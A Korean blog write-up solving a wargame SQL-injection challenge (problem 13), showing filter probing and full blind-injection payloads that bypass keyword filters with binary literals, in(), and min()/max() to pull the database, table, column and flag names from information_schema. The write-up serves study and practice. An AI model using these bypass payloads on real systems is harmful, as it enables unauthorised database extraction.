본문 바로가기

 

13번 문제에요.

배점은 무려 1000점! 분야는 DB에요.

 

 

딱봐도 뭘 해야 할지 알것처럼 생겼네요.

 

 

if(true,1,0) 을 넣어보니

 

출력은 1.

 

 

if(false,1,0) 을 넣어보니

 

출력은 0 이 나오네요.

저기에 2를 넣었을땐 0이 나오는걸 보아 true 이면 1 false 이면 0을 반환하는것 같네요.

 

그럼 이제 무슨 키워드를 쓸수있는지 찾아보죠.

 

사용 가능 : select from ( ) ' or in min max length substr 0b ... 

사용 불가 : + - * / % = # and like limit where 공백문자 0x ... 

 

이런저런걸 넣어보니 대충 저런것 같네요.

 

=like 둘다 막혀있으니 in 으로 우회하고 공백문자( ) 로 우회, 문자는 적당히 2진수로 우회하면 되겠네요!

 

그럼 먼저 DB의 이름을 뽑아보죠.

 

 

 

길이 : if(length((select(database())))in(0),1,0)

값 : if(substr((select(database())),1,1)in(0b110000),1,0)

 

 

DB의 이름은 chall13 이래요.

한결같은 DB명이네요.

 

그럼 테이블명을 뽑아내보죠.

 

 

 

길이 : if(length((select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables)))in(0),1,0)

값 : if(substr((select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables)),1,1)in(0b110000),1,0)

 

limit where 가 필터링되니 min(if((select(table_schema)in('chall13')),table_name,null)) 으로 DB이름이 chall13일때만 table_name를 출력하게 만들고,

출력한 최솟값을 반환하게 우회해줬어요.

 

 

????

 

in('chall13') 부분도 2진수로 바꿔줘야 했던걸까요?

그래서 저부분도 2진수로 바꿔본결과!

 

 

flag_ab733768

라네요.

 

그러면 컬럼의 갯수를 뽑아내야하는데 * 가 막혀버렸으니 흐음...

그냥 min 돌려서 첫번째걸 뽑아볼게요.

 

 

 

어우 길어라

 

길이 : if(length((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)))in(0),1,0)

값 : if(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),1,1)in(0b110000),1,0)

 

 

flag_3a55b31d

 

혹시나 한개 더있을까 싶어서 min 을 max 로 바꾸고도 돌려보았지만 똑같았네요.

 

그럼 이제 마지막으로 flag를 뽑아내면 풀리겠네요!

 

 

 

길이 : if(length((select(min(flag_3a55b31d))from(flag_ab733768)))in(0),1,0)

값 : if(substr((select(min(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b110000),1,0)

 

 

max로 다시 해보죠.

 

 

FLAG{challenge13gummyclear}

 

 

이제 저걸 인증에 집어넣으면????

 

 

빠밤!

 

 

문제가 풀렸네요.

댓글